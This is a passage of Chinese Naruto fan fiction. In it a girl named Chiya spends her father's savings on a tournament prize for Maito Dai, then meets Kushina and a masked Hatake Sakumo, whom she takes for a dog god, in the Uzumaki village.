“Sa~准备好了吗?自来也!”锋芒毕露的金发女性高高扬起拳头,“要来了哦!”
“轰!”
听取”哇“声一片,一轮游的蛤ma仙人美梦破碎。
……
“打得毁天灭地,体术原来是这么回事吗。”看着忍者在一场对局结束后用土遁来回地平地,世界观不断刷新的千弥默默为珍兽前辈和自己祈祷。
传说中的大秘宝……是老爸神神道道地送给自己的价值10个s级任务的金钱。与其按照老爸说的等长大遇到喜欢的人时使用这笔资金,不如让它尽早发挥价值。
“嘛~也算是开眼了,不过你真的没问题吗?”看着蔫哒哒的啊。
奈良鹿久把手覆在千弥的额头上,没有发烧。
“只是……人有点多。”时不时地听到很多声音。
“那个……”身体微微滑落的千弥扯了扯奈良鹿久的衣角,不等人回应就松开,转而扯了扯亥一的辫子,“今晚可以收留我吗?”
他们家和鹿久家就隔了一片树林,还是太近了。
等比赛结束老爸知道真相,自己的屁股恐怕要开花了——那些钱她一分都没留。
珍兽前辈一定要争气地赢下大奖啊!扬名的机会就在眼前!
夕阳微垂——
“最终胜利的角逐者是阿纲和戴啊。”
喊了半天的忍校学生们一个个东歪西倒,有些人在足足一天的感官刺激下困得连眼睛都睁不开。精神十足,彻底上头的忍者们成为了最终幕的有力见证人。
“没想到那个奇怪连体衣的家伙竟然这么强。”
“据说和古介前辈一样只是下忍。”
“和纲手姬有来有回呢。”
“不虚此行啊……”
“珍兽前辈加油啊啊!!!”都已经走到这里了,请再努力一下吧!
稚嫩的声音穿透演习场,不少人的目光从擂台中央落到了站在防护栏边缘的小孩身上。
千弥的屁股已经开始幻痛了。
“快下来啊,笨蛋,很危险的!”
“就是那个孩子…”加藤断示意旗木朔茂——名草的那个主。
“请专心为纲手加油,别闹我了。”被夕阳映红的脸局促地从千弥身上扭回到比赛场内。
“当然了!!!”
更加热血的声音大声回应着,拳拳对轰,竞技场内扬起大片尘埃。
“认输了。”
举起手的纲手后退一步叹气,这个粗眉毛浑身是劲。那个漩涡家的小孩儿喊一嗓子之后,粗眉毛的劲儿明显更大了。她能感觉到对方在体术比试上还没有用尽全力。
比起不知道内容是什么的一片(One Piece),奈良家的药也不错。
“那么,本次木叶武斗大赛胜者——迈特戴。”
“现在公布最终赏One Piece——奖金xxxxxxxxx两,得主——迈特戴!”
“嘶嘶嘶~~~”一个个忍者原地化身大蛇丸的通灵蛇。
“多少?他刚刚说多少?”
“我好像听到了一个一辈子不用为钱发愁的数字。”被拽着胳膊的忍者做梦似的软乎乎地倒了下去。
“主办方是怕太早公布,大伙会拼了命去夺魁吧......”
“什么?!!!多少?”离得最近,一脚剁裂地面的纲手公主狰狞地抓住主持活动的奈良家忍者的马甲,"我要求重赛!”
“他们哪来这么多钱?”同样为这个数字咋舌的千手扉间看向身边变成褪色纸片的男人,似乎明白了什么。
龇牙看乐子的古蹊辻:诶诶诶诶???
羊毛出在羊身上,One Piece出在......
所以他成了传说中的“海贼王”?!!!
他留给小千用于招赘的小钱钱就这么败光了?!这孩子某种意义上简直比赌//棍还可怕啊!!!
背景音里隐约夹杂着迈特戴和千弥的欢呼,但那些声音魂飞天外的辻已经听不到了。
他的家庭教育一定是哪里出了问题。
4. 小千弥的仁义就像捞金鱼的纸网
“有点出息,孩子们过来了。”抱着手臂站在古蹊辻身侧的千手扉间嫌弃地往远处走了两步,目光轻轻地落在被猪鹿蝶三家继承人包围着的古蹊千弥身上。
只是替相识不久的迈特戴出头,竟不惜耗财耗力搭造了这样一台好戏。真是仗义啊,这孩子。
“那已经不是孩子了,是小祖宗。”说是这么说,等小奈良牵着千弥同身后的小山中和小秋道走过来时,辻还是强撑着抽了抽嘴角。
这种时候让他微笑实在有些强人所难。
五大忍村的赫赫威名笼罩下,漩涡一族纵使以其强大的封印术临海立国,一年终了能接到的S级委托仍相当有限。
那些钱饶是你优秀强大的爸爸我也认真攒了近10年啊,笨蛋小千!
这可是你未来招赘用的结纳金!
这年头无论是忍者还是平民都现实的可怕,没有了坚实的后盾做支撑,他上哪找既可靠又能愿意被0元购的笨蛋啊?
“有什么想说的吗?”同千手扉间道别,板着脸的大人带着小孩们走到了没人的角落,满意地看到小山中和小秋道露出意料之中的惊惶不安的表情。
“是我没看好千弥。”从没听过那么多钱,甚至有的计数单位都是头一回听闻的奈良鹿久挺身而出,硬着头皮挡在辻和千弥之间。
背地里,鹿久捏了捏千弥的手随后让出身位,示意她等会儿配合着自己同大人道歉。
“我们也有过错。”亥一戳戳丁座的小臂,丁座顺势补充道,“明明知道小千准备了奖金,却没问清楚数额。”
“小千最后有什么想说的吗?”
双手叉腰俯身靠近小千,辻身上散发出的强大压迫感让一旁的三人脸色隐隐发白。
“虽然不应该花那么多钱,”听到自己的名字,千弥咻地抬起头,被夕阳染透的发丝像一尾尾金色的游鱼在空气里上下溅跃,已经反思了很多秒的千弥露出比夕阳更加璀璨的笑容,“但感觉值了!”
笨蛋!认真道歉啊!道一半的歉算道歉吗?
嗓子发干,离得最近的奈良鹿久咕嘟咽了口口水,而看不懂气氛的笨蛋还在一旁咕嘟咕嘟地往外冒着傻泡。
“真是拿你没办法啊~”拖长了尾音彻底无奈的辻塌下肩膀,卸了气势,长长地叹气,这孩子,嗐~
“陪小千闹这么久,你们也辛苦了~”三个脑瓜一个接一个揉过去,辻挤走了小奈良忧愁地拉着千弥说起一点也不悄悄的悄悄话,“妈妈知道了怎么办?”
“不能让妈妈知道吗?”
“倒也不是这么说……”摆出和千弥同样的姿势,把双手搭在脸颊两侧靠墙坐下的辻苦着脸感叹,“年龄小就是好啊。”天塌下来有大人顶着。
“让妈妈知道我把这么多钱直接交给这么小的你保管,爸爸我可能要被狠狠修理一通了。”辻抖了一下,“小千一定要勇敢地挡在爸爸身前替爸爸求情啊,到时候哪怕被赶出家门爸爸也会带着你一起的。”
“当然,我很仁义!”拍着胸脯信誓旦旦的千弥侧过头,刚巧错过了猪鹿蝶三家小哥哥一个个无语望天的画面。
早就该看出来,这是一对笨蛋父女。危机解除,猪鹿蝶三家的未来家主们背靠背,齐刷刷地叹气。
不过还真是豁达啊,辻大叔这家伙。奈良鹿久试图换位思考,有千弥这样的败家小孩,恐怕奈良家会破产。给千弥当爸爸,还真是辛苦了。
被小千的仁义噎到说不出话的辻露出了胃痛的表情,“……爸爸最近不想听到类似的词汇。”
“正义呢?”
“安静一秒吧。”
他怎么也想不到,自己一天之内不仅肉痛地cos了一把“海贼王”,还会对“正义论”应激过敏。而这一切就这么突然地发生了。
小孩子是宝藏啊。简直是意外性NO.1。
“噗嗤——哈哈哈!”这么想着,搂过小千的辻大笑出声。不明觉厉的千弥窝在爸爸怀里呼噜噜的响。
“辻大人!”新出炉的体术冠军踌躇地在原地来回踏步,他清楚自己的实力不如纲手公主,如今更是清楚了这笔钱的来源。拿着烫手的冠军存折,里面数不过来的位数、有零有整的黑色汉字,无不让他发晕。
被叫到名字的男人侧头看了一眼一身绿色紧身衣,脖子上系着围巾的少年,摆手道,“安心拿着吧,下周五来火影楼找我换户。这可是这个孩子宝贵的心意,还有恭喜夺冠啊,Champion先生。”说完,他戳了戳千弥的额头。
“呜呜~”
“家庭教育还真是任重道远啊。”怀里呼噜噜的喘息变得平稳,抚着小千的头发望向天边紫红色的云霞,辻悠悠地感叹。
“好巧,我也是这么认为的呢。”
“!”像举起辛巴一样高高举起盾牌小千挡在自己身前的男人怂怂地探出头,弱弱地辩解,“那是…婚前财产。”
“哈!”这家伙可真敢说啊!
“妈妈?”被晃醒的千弥朝着妈妈伸出双臂,“啵~”
“爸爸最近几天都要通宵工作,我们回家收拾行李去找漩涡妹妹玩几天吧。”单手转着两份同色的任务卷轴,海未向辻冷嗖嗖地甩了两个眼刀。
“好。”是工作不是赶出家门。
“诶?!”就这么答应了?!小千,说好的站在爸爸这边呢?
你的仁义呢?难道像捞金鱼的纸网那么脆弱吗?!
今天这一难对爸爸来说完全是无妄之灾啊!
“好好工作啊。“根本没离开的千手扉间默默补刀。
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……
“遗传可真是一门令人着迷的学问啊。”
听到大蛇丸特有的沙哑声音,原本因为自来也作死地跑去给对面加油而对着沙包发泄的纲手眯了眯眼。
“那个孩子未来会成为什么样的风呢?”
“真令人期待啊。”
足足九位数的流动资产。
“真是好大一笔奖金。”眨眨眼的加藤断像是重新认识了旗木朔茂一般,“你原来还有成为木叶首富的潜力。”
旗木朔茂:“……"他受够了这群人,明天就去火影楼接跨国任务。
挣扎片刻,旗木朔茂问出了像幼苗一样深深扎根在心底的疑惑,“为什么会对一个明显是谣言的内容深信不疑啊?”甚至风言风语地传了这么多年还没消停!
他和千弥的接触甚至仅限于对方出生的那一个月左右!
“证据太多了。”手指抵着下巴的加藤断思索片刻,“比如有人目击到你的八只忍犬没有任务时会解下护额,脱掉衣服,随机汪汪地摇着尾巴出现在古蹊家附近。”
“什么时候的事?”忍犬跑了他怎么不知道?!这回旗木朔茂是真的震惊了。
“似乎已经三年了。”
“?”多久?
“上周我看到古蹊千弥抱着樱花香型的沐浴露,身旁还跟着你的忍犬。就恰好从你身后经过。”
“???你当时怎么不说?”难怪每次采购物资,忍犬们买东西都一副很有主意的模样。
“怕你害羞。”加藤断还在插刀,“可靠消息,那孩子出生后说的第一句话不是papa也不是mama,而是sakumo。”
“确实…海未大人有段时间遇到我总是一副欲言又止的模样。”旗木朔茂恍然,然后后知后觉地炸毛,“这不是我教的!”
“是忍犬教的,连汪汪都学去了。”加藤断拍拍旗木朔茂,“有空也接一些轻松的任务吧,去涡潮隐村那边看看,如今你的名号可是如雷贯耳。”
他上次路过那里,涡之国的平民都在考虑给传说中的新卡密立泥塑了。
“我怎么不知道?”
“你什么都不知道。”消息灵通的加藤断用一种怜悯的眼神看着眼前这个无知的男人,“用你的慧眼好好看看这个世界吧。”
既不知道单身忍者们团结一致致力于将你排除在婚恋市场之外,也不知道忍犬们扮做普通的狗狗已经在千弥面前刷满了好感,朔茂kun完全生活在自己的世界里呢。
......
“这是今天参赛忍者们的登记证书和过去的任务报告。”
“你来根据他们今天的表现进行一次初筛。”
“...是。”整理了一大堆纸质资料,被通宵工作的男人恨恨地咬牙。
5. 玖辛奈和千弥要做一辈子的偷摸大鸡
结束了在水之国的任务,迎风立于船头的白发少年隔海遥望火之国的方向。旗木朔茂盯着视野里碧海蓝天相接的那一线,脑中忽然浮现出加藤不久前给自己的建议。
“……顺道去进行一次补给,不会耽误太久……”
自我安慰好,旗木朔茂整装待发。
“saku、mo!saku~mo——”
以木叶同盟的身份顺利入境,刚穿过守护结界,敏锐的少年就察觉到了异样。
树下的那群拍皮球的红发小孩说唱一样富有节奏地念叨的音节似乎和他的名字同音。
“解!”
查克拉在身体里乱窜,再睁眼面前的景象没有分毫变化,反倒是守门的漩涡忍者对着他露出了一种他近期无比熟悉的目光——同情。
“嘛,进村后用姓氏行动吧。”一头短炸红发的忍者见到这一幕放下登记册好心提醒,“你的名字近几年在村子里传播得比病毒还快。”
去木叶交流过忍术或是上过战场的漩涡忍者多少都听说过旗木朔茂这位少年天才,眼前这个漩涡就是其一。有一说一,他暗搓搓地期待这一天已经很久了。
“最好连面具也戴上,你的发色在村子里不常见,我们一族的小孩大多精力十足,被缠上了问东问西可是很难挣脱的。”
刚进村就莫名其妙痛失本名的旗木朔茂:“……”
幸灾乐祸的意味太明显了,请先把嘴角的笑意压下去再说话。
难怪断建议自己来这里,预谋很久了吧那家伙。
“千弥!”
又是一个熟悉的名字,旗木朔茂瞬身消失在原地,借助树丛小心地遮掩自己的行踪。
“玖辛奈!”
透过叶片之间的罅隙,旗木朔茂看到一黑一红两只小狗相互蹭蹭,随后手牵着手一起跑远。那只黑发小狗临走前似乎往自己的方位侧头望了一眼。
还真是敏锐啊,不愧是辻大人家的孩子。
“快走,我带你去海边玩!”
伸手牵住自己限时出没的“木叶偷摸大鸡”,玖辛奈从口袋里掏出糖果喂给千弥,热情地介绍对方不在的这段时间里村庄发生的变化,“临海的神龛里住了一个新的客人,是小狗泥人嘚吧内!”
“小狗泥人?这是什么组合?听起来好有趣!”一道不亚于玖辛奈的活泼声音响起,“作为交换,我教你秘籍·小火烤鱼之术吧!可是超实用的哟!”
“那等你下次再来,我请你吃忍术烤鱼?嘚吧内!”
“既然这样,等你来木叶找我玩,我就带你去吃木叶超——有名的一乐拉面!玖辛奈喜欢咸口,吃过一定会喜欢上的!”
小孩子之间纯真的友谊啊……
幻视出两只尾巴摇成螺旋桨的黑红小狗,不见有人陪护,消除了身上所有气息跟在两人身后暗中保护的旗木朔茂默默感慨。
“就是这间!”
“大不敬”地挪开小鼓之类的贡品,打开神龛,玖辛奈把里面的小狗泥人取出来大大咧咧地塞进千弥手里。
“长着小狗耳朵和小狗尾巴的人偶?”在手里翻了一圈,摸摸耳朵、捏捏已经发干硬化的尾巴,千弥抱着泥偶和玖辛奈一起研究起这间小小的神龛。
“单从外表上看,汪酱你住的屋子和别的似乎没有区别呢。”用一秒钟给泥塑取名,看了一眼汪酱的房子,抱着泥人跑到两三米外的另一处神龛试图找不同的千弥背对玖辛奈自言自语,“啊,里面的住客不一样。”
推开了木龛的千弥比照着两位“住户”的区别,摸了摸小狗泥人的头,“还是汪酱你比较可爱。”
搂着小狗泥人的千弥站起身,对着神龛90度鞠躬双手合十,虔诚道,“请给我两颗桃子,非常感谢。”仪式结束,用小臂夹着泥人的千弥拿走盘子里的蜜桃,转过身询问,“玖辛奈口渴吗?”
此情此景,饶是不信鬼神的旗木朔茂也有些汗流浃背。
“千弥!这里面写着sakumo嘚吧内!”
伏在地上,大半个脑袋已然伸进汪酱的专属“客房”的玖辛奈激动地拍拍地面,正要撤出来让位置给玩伴时,卡在原地的玖辛奈忽然嘶嘶地抽气。
“别动,我来帮你。”蹲在一旁的千弥放下桃子和泥人,伸手护住玖辛奈的头,慢慢地从发端捋着将一根根钩进木龛的红发解救出来。
“帮大忙了!”与千弥背靠背的玖辛奈长长地呼了一口气,接过千弥递来的桃子大口开啃。下一秒,她的脸团成漩涡形状,“好酸!”
“唔……虽然有点酸,但还是有淡淡的桃子的味道。”咔咔咔吃完了自己的那一颗,看着玖辛奈拿着啃了一口的桃子一脸纠结的模样,千弥伸手,“给我吧。”
“千弥你真好!”把偷摸大鸡强行抱进怀里的玖辛奈压着千弥,在她的头顶上乱蹭,“我们要做一辈子的朋友嘚吧内!”
被压弯了腰的千弥一点也不客气收下玖辛奈的感谢,啃着桃子,声音含糊,“那是当然了!”
“差点忘了!快看,里面有字,是泥人的名字吧!”
“原来你叫sakumo嘛。”把桃子核埋进土里的千弥从神龛里钻出来,摸摸没有脸部细节的泥塑,笑语盈盈地,“你有一个很不错的名字呦!”
“诶?”想到什么的玖辛奈看着把泥塑小心地放回神龛的千弥忽然大喊一声,“话说回来,千弥你每次过来帮柿岛婆婆照顾那些小孩,都是用这个名字逗他们玩!”
“因为这个名字超棒!”
千弥,照顾,漩涡小孩。
本着看护两个幼崽的心情一路相随,意外捕捉到两人对话信息的旗木朔茂感觉自己抓到了在脑中一闪而逝的灵光。如果是真的,那千弥这孩子的“威力”实在不同凡响。
“哪里棒了?”完全不记得自己曾经也是被照顾的小孩之一,甚至是第一批里第一个学会“sakumo”的小孩,玖辛奈不满地撒娇,“难道玖辛奈的名字不是更好听吗!”
“你看sa——ku——mo——这里面涵盖了足足三行不同的音!”用树枝在地上写写画画的千弥指给玖辛奈看,“而且都是很好发声的读音。”
说完,旗木朔茂听到千弥开始“sakumo、sakumo”地给玖辛奈
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磨耳朵,烦得红发的漩涡捂住耳朵。
“我的名字,ku——shi——na不也含括了三行不同的音嘛!”
她也想自己的限时款木叶偷摸大鸡一直念自己的名字!
可恶的千弥每次都带好多吃的喝的分享给大家,还和所有人都玩得很好。离开之后,每次都有好多小孩跑过来问住在族长家的自己千弥什么时候再来。
可恶,她想要千弥在所有漩涡小孩面前一直念自己的名字,告诉所有人她们是最好的偷摸大鸡!
“可是sakumo末尾的mo变化成ra就是sakura,是樱花的意思,进一步能让人联想到一整个春天诶!不是很绮丽嘛,那样的画面!”
用枝条在地上图图改改的千弥丢掉树枝,皮卡皮卡的眼神期待地看向玖辛奈,寻找认同,“现在你也觉得sakumo很好听吧!”
躲在树上无奈地听着两个小孩争辩哪个名字更好听的旗木朔茂睁大了双眼。
杀敌无数的天才忍者从没想过自己的名字除了铁锈味道的血色与闪烁寒意的刀芒外还能被如此温柔地联想。
这孩子真是可怕啊。
“可恶。”透过千弥意识到自己的私心,脸蛋涨得发红的玖辛奈发现自己完全说不过对方,只好闭上眼大喊,“好听的是樱花吧,和sakumo有什么关系嘛!”
“害羞了呢,玖辛奈酱~”
才不中招的千弥另起炉灶,满意地看着玖辛奈跳脚。
“去抓鱼啦!”口癖都忘了的玖辛奈抓着千弥继续往海边跑。
“那就走吧,我们去钓鱼,然后我教你烤鱼的忍术!”
迎着海风,绯红的长发如烈火般飘扬招展。千弥拨开不听话地往自己嘴巴里跑的长发,看向身边不管哪里都红红的玖辛奈,一顿夸夸,“很漂亮,玖辛奈的头发。”
“明明和漩涡一族的其他人是一个颜色吧。”抓住一把头发的漩涡玖辛奈声音闷闷的。千弥只是安慰她吧,反正她自己看不出哪里不一样。
“玖辛奈的发色更鲜亮呢。虽然大家都是红色,但就是不一样嘛~哪怕在人群里,也只要一眼就能分辨出来啦!”
听着千弥的童言童语,旗木朔茂这一刻只觉得辻大人关于“招赘”的忧虑有些多余。
那个小漩涡整个人都变成番茄色了。
……
“看好了,巳—未—申—亥—午—寅。“
千弥凝聚查克拉慢慢地结印,抬起下巴示意玖辛奈举起刚刚处理好的小鱼。
这是?豪火球之术?!这么近的距离!
从千弥结第四个印时意识到什么的旗木朔茂扣上暗部面具,飞蹿到玖辛奈身后,瞬步将人带到10米开外的位置。
“火遁——小火苗烤鱼之术!”
从千弥口中吐出的细小明亮的火苗束喷了个空。没有附着物的火焰在空气中如流星般星星点点地坠落,化作一道道青烟。
喷空的千弥:“?”
举着鱼被人劫走的玖辛奈:“?”
看着小火花一点一点消散在空气中的旗木朔茂:“?”
6. 补给补到了不得了的东西
“你是……谁?”
干冷的海风卷起地面上的沙土,透过面具的孔洞与千弥清澈的双眸对视,像被鱼线缠住一般一时失语的旗木朔茂似乎听到了自己的心脏在叹息。
他是谁?他能是谁?
此时此刻、此情此景,连意外现身的旗木朔茂自己都有些糊涂了。
他是那群背着主人偷偷往古蹊家跑的八只忍犬的契约者,是涡潮隐村孩子们口中的sakumo,是木叶隐村的sakumo。但这些说出来合适吗?绝对牵扯进数不清的麻烦。
于是,身陷因果,被缘线狠狠缠缚住的苦命人选择演绎一个沉默的路人,闭口不言。
舍弃姓名这种事,他觉得还不至于到这种地步。
“放开我啊!”
臂弯里禁锢着的红发漩涡踢腿挣扎,被踹了两脚才后知后觉地将人放下,温柔的少年不好意思地抓了抓头发。
“漩涡一族可没有带着面具的忍者!快跑千弥!”
“是sakumo吧!”
警惕的尖锐女声同一道短促的欢呼同时响起。
将插着一条银鱼的树枝竖在胸前充做武器,快速跑回到千弥身边的玖辛奈听到这话嘎巴地扭转脑瓜,一脸错愕地看向还在傻乐、毫无危机感的偷摸大鸡。
她的偷摸大鸡脑子坏掉了!连现实和虚幻都分不清了!
“……”这是……被认出来了?旗木朔茂听到千弥的话愣了愣神。
也是,毕竟古蹊千弥出身于忍者之家,父亲是扉间大人的左膀右臂,母亲是实力强大的带队上忍。古蹊夫妇或许曾同千弥提起过自己——他的银发哪怕是在木叶隐村也并不常见。
这是一个洞察深刻同时胆识过人的优秀的孩子。脸上扣着面具的旗木朔茂脑海中浮现出种种猜想,不遗余力地在千弥身上贴了一个又一个标签。
“我愚蠢的偷摸大鸡嘚吧内!这个很明显是外来的忍者吧!”
和千弥的脑回路搭上线的玖辛奈一把拽住了偷摸大鸡的衣袖,恨不得转着圈把千弥脑子里进的水抡出去。如果牙齿能变成鲨鱼牙,她绝对会在偷摸大鸡的脑瓜子上啃一口,狠狠地啃一口!
漩涡玖辛奈有一种很不好的直觉,要是她这时候敢松开千弥,下一秒这个撒手没的笨蛋绝对会傻乎乎地贴上去,绝对!
“绝对是sakumo!他刚刚救了玖辛奈你呢!”
反手握住玖辛奈的千弥像是察觉到了偷摸大鸡的不安,拍拍玖辛奈的手背,又像妈妈对待自己时那样微笑着温柔地抚了抚玖辛奈的发顶,“sakumo大概是以为我刚刚使用的小火苗之术会伤害到你吧,所以才突然临格!毕竟烤鱼之术换一种查克拉的使用方法会变成威力很大的忍术。”
静静地站在一旁注视着眼前的一切,旗木朔茂眼中满是对千弥成熟表现和精准判断的赞赏。
只是…竟然使用了“临格”这种生僻字眼……虽然表现得成熟可靠,千弥到底还是小孩子啊,学了很多词汇,但词句的组合能力还有待提高。
“哈?救我?”豆豆眼的玖辛奈在龇牙冒傻气的偷摸大鸡和不远处沉默的面具男身上来回地看。
“果然是很好的卡密啊!不愧是漩涡一族优选!”竖起大拇指的千弥两句话夸了一群人。
差点石化裂开的旗木朔茂:“……”
该怎么形容心头这种被哽住的感觉呢,嘛,果然……不愧是辻大人的孩子,连脱线程度都是青出于蓝。
“怎么看出这家伙是卡密嘚吧内?”临处于被偷摸大鸡的清奇画风带跑偏的边缘,理智已经摇摇欲坠的玖辛奈拼尽全力抵抗千弥细菌的污染提问道。
“sakumo様的面具左边和右边各有三道红红的一看就很神性的面纹,顶部还有两个小小的像汪酱耳朵一样的白色尖角。”
说到一半已经露出灼人的星星眼的千弥难掩激动,脆生生的声音里掺上了兴奋过度产生的沙哑,“sakumo様的头发也长长的垂在身后,像神龛里sakumo様的尾巴!赛高!”
自认为自己只是一介凡人,和神龛里的泥人没有分毫相似的旗木朔茂:“……”
“请问在下可以摸摸您的头发吗?卡密様。请问您是传说中掌管汪酱们的卡密吗?我们可以见识一下其他的汪酱使者吗?”遣词语气表现得羞涩且谦卑但终究难掩得寸进尺本质的千弥试图向眼前这位温柔的神明争取更多“福利”。
像乖巧的学生一样举起了手……这个孩子果然很可怕呢。
“忍法·通灵之术!”
沉默地半认下卡密的身份,使出苦难转移之术的旗木朔茂咬破手指——他倒要看看害他名声变成奇怪模样的罪魁祸首们、这群背着他偷跑的家伙们怎么面对千弥。
“啊!是时空间忍术!果然这家伙是忍者啊!”惊讶于对方真的有狗,目光陡然锐利的玖辛奈竖起身上的“尖刺”,伸手拉身边的偷摸大鸡,然后,摸了个空。
“卡密様的神术也需要媒介来施展啊,玖辛奈!”流连于忍犬之间的千弥幸福地闭上了眼睛,连声音都变得软乎乎的,像是融化的金色蜜糖。
“你这家伙根本就是沉浸在狗狗堆里了吧!”
她现在真的、真的好想把偷摸大鸡丢进岩礁之间的漩涡里!气死她算了!
“是樱花的香气。神使之间最近也流行这个香型吗?呼噜噜……”
“睁开眼睛看看啊,它们身上甚至还有护额!”
见到熟悉的木叶标志,玖辛奈愣了一秒,望着像是被钉在原地、周身莫名地散发着一股沧桑气息的面具男,“你是木叶的忍者啊。既然是同盟的话直接介绍自己不就好了嘛。难道你的名字很见不得人吗?”
旗木朔茂:“……”
“啊,是千弥,不对!怎么会是千弥?!”被通灵出来的忍犬们刚看清周边的环境就被千弥扑了个满怀,一个个心虚地垂着尾巴看向自己的契约者。
“不仅认识我,还会说话!”芜湖一声的千弥纵身扎进厚实的狗毛里。
一只只僵硬得像是木偶的忍犬你看看我,我看看你,不约而同地放下了心。显然,它们对千弥的人物属性有着相当深刻了解。
“我们认识你哦!”
“没错没错,你在我们之间可是超有名的名人哦。”
“好幸福~”
“这不是和小万一样嘛!是通灵兽啦!”还在试图纠正千弥错误认知的玖辛奈双手叉腰,怒瞪把偷摸大鸡忽悠得五迷三道的忍犬们。
“可是,”千弥抱着怀里橘白相间的小型忍犬,背靠足足有半人高的毛发厚重的白色忍犬看着玖辛奈说道,“虽然小万那家伙总是闹着要吃薯条,平时让它送信也很懒惰,家庭地位一副很低的模样,事实上可是传说中在大海上传递正义与和平的海洋神使的后代呢。”
“哈?”玖辛奈的眼睛变成了空茫茫的白色。
一只懒鸟怎么还和神明还扯上关系了,水里的游鱼在哭泣啊!
到底是谁给千弥灌输了这种“通灵兽=神使”的奇怪理念啊!木条断折在手里被攥得粉碎,玖辛奈鲜红的头发无风自起。本来就不聪明的家伙被养得更笨了啊!
没能等来修罗场,反而通过拙劣地蒙混过关的忍犬们再次刷新了旗木朔茂对千弥天然呆水平的认知。
见多了大风大浪已然调整好心态,处变不惊的少年用0秒钟猜到罪魁祸首,无奈地闭上眼——
辻大人,您平时都教了千弥些什么啊。还有,千弥,忍犬们只是穿了一件衣服,为什么会认不出来啊。这也不是什么高级的变身术呀。
……
“祝sakumo卡密様福泽绵长!”
照顾着偷摸大鸡那颗童心,粘了一身狗毛的玖辛奈无奈地抱着双臂目送千弥同忍者告别。小小年纪的小漩涡大半天下来无师自通地掌握了半月眼。
“嘭!”白烟散尽,接受了来自虔诚信徒的祝福,戴着面具的神明消失在原地。
“今天真是美好的一天呢,玖辛奈!”同小伙伴演示完小火苗之术的结印顺序,千弥双手搭在脑后仰倒在地上悠悠然地感慨。
“嘛~哼。”手里结着千弥演示的印,玖辛奈轻哼一声,决定看在毛茸茸的汪酱们的份上就不反驳这家伙了。
“烤鱼术的精髓在于像源源不断的流水一样输出查克拉,最终使呼吸、查克拉、身体三者达到平衡、稳定的状态。”
“怎么又变了一个名字?”空有一身查克拉却怎么都吐不出火的玖辛奈烦躁地抓了抓头发。
“嘛,知道有烤鱼的功能就好了啦!”千弥安慰道,“靠毅力,一定可以创造奇迹的!”
……
“
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陪伴着那两个孩子一天,辛苦了。”
朝着村口走去的旗木朔茂面对古蹊海未有些局促。谣言害他不浅!旗木朔茂绝望地想。
“你的性格如春风般和煦呢,朔茂kun。”靠着树倚立的海未伸手招呼着少年,眉眼温柔道,“如果不赶时间的话请陪我聊聊吧。”
……
“情报班传出来的流言还有影响到你吗?漩涡一族这边,不用担心,我有请他们帮忙平息哦。很抱歉没能早点意识到这件事。往后漩涡一族小孩们学习的词汇就是sukura了。”
掏出平时投喂小千的糖果,古蹊海未将它递到旗木朔茂手上,“事实上,就算是我有时候也搞不清辻那家伙的脑回路。自顾自地写那些乱七八糟的东西。还莫名其妙地把它们流传出去了。”
“不,”从sakura想到春天的旗木朔茂回过神,接过糖果为辻辩解,“是我……”没有检查好那些卷轴。
“就是那家伙的错啦!”手在旗木朔茂的脑瓜上一通乱揉的海未打断他的话,“明明连喝酒的年纪都没到,不要自我内耗啦!有责任心是好事,但既然跟在那家伙身边那么久偶尔也要学习学习他的生存之道,让自己也松快些嘛!”
“……是。”在脑海中想象自己像辻大人一样趴在桌子上任性地耍宝,旗木朔茂嘴角抽了抽,语气极其艰难地应下。
“……料敌制胜,威谋靡亢。战场上的忍者是这么形容他的对吧?还弄出了个‘木叶前线的大脑’这样的称呼,那家伙可是超嫌弃的。”
和旗木朔茂并排坐在粗壮的树木枝干上的海未望向茵茵郁郁的丛林深处,懒洋洋地道,“辻……虽然他自己没直说过,但敏感些的人都默认他有着预见未来的才能。连小千也……”
“预见……未来?”辻大人所率领的部队伤亡率极低,也是因为这样的能力吗?
旗木朔茂忽然想到了在战场上偶尔如闪电般出现在自己身后支援,带走了敌人性命又瞬身离开的男人。
“是啊。”幽暗的丛林深处像是蛰伏了一只巨兽,一点点地吞噬光明,海未索性将目光投到天空,“大概是看到了什么吧,或是预感到什么,所以才会说出‘招赘’这样让你困扰的事。抱歉啊。”
“并不……”蓦地,有什么电光火石般闪过正用手磨搓着糖果包装的少年脑中。
难道……辻大人预见了自己未来会…会……
“???”
想到些什么的旗木朔茂又惊又羞,恨不得用土遁把自己埋起来。但以自己的道德水平,应该不至于滑坡到如此地步……吧?未来的自己……难道堕落了吗?!
“别看那家伙有些不正经,如果不算奈良家的小子,这样冒犯的话他似乎只同你说过。不过奈良一族怎么看都不会把下一代族长打包成上门女婿吧!”
忍不住吐槽几句的海未瞥了眼一会噗嘟噗嘟冒热气一会又一脸纠结的少年,笑道,“如果有那么一天……你会得到祝福的。”
“!!!”
“不过,也别太在意那家伙的预言,如果哪一天遇到了眼前的幸福也要认真抓住啊。重要的是当下,是眼前可触及之物,而不是那些遥不可及的未来。对忍者这样朝不保夕,如蜉蝣般朝生暮死的存在来说,尤其如此。要意识到生命里真正宝贵之物啊,朔茂。”
“我只是想告诉你,如果我所想的那个未来到来,而那天我和辻已不在人世……”海未叹声,随后双眼弯弯,慈爱而温柔道,“到那时我会祝你们的。”
“不过,现在快把这些忘掉,对着这么小的孩子说这些我也真是不像话!”晃了晃树枝的海未竖起眉,“等你们穿过时光长河,走到那个未来的时候再请你想起这些话吧!现在可不要被困扰啊!”
海未大人简直和辻大人如出一辙的“霸道”啊……被迫“失忆”的旗木朔茂无奈地弯起嘴角。
……
同手同脚地走出村庄的旗木朔茂像是连轴转了10个高级任务,险些分不清方向。
怀里的卷轴已经不是烫手的程度了,他整个人都要化作飞灰了。
到底是怎么了,这个世界!
难道所有人都辻大人化了吗?!连他也……
坏掉了,真的要坏掉了!
捡起掉落的道德的旗木朔茂决定把今天发生的事死死按在心底。
7. 二代的使命是建立秩序
“你今天的心思似乎不在棋盘上啊,鹿久。”
被自家老爸无情地checkmate,小冲天辫放下手里横冲直撞的飞车,没有反驳,沉默地盯着棋盘上那枚银将。
“今天的修行好累,明天再战吧,老爸。”
没有心思复盘,没有胆量迎接老爸探究的目光,障子门一关,单方面闹别扭的奈良鹿久把自己包裹进被子,试图屏蔽门外父亲和母亲的交谈。
千弥那个没心没肺的家伙……有了新朋友就把他给忘记了吗?远在漩涡一族竟然还不忘让海鸥千里迢迢地给油女朋友送虫子。
奈良鹿久想了两秒更忧郁地发现,那家伙似乎也不完全是没心没肺,只是那点儿“心”和“肺”全都掏给别人了。
……
一路跟着贝雷帽海鸥的奈良鹿久沉默地看着弯折翅膀拍打胸脯的白色海鸥落在了一个陌生油女的头顶。
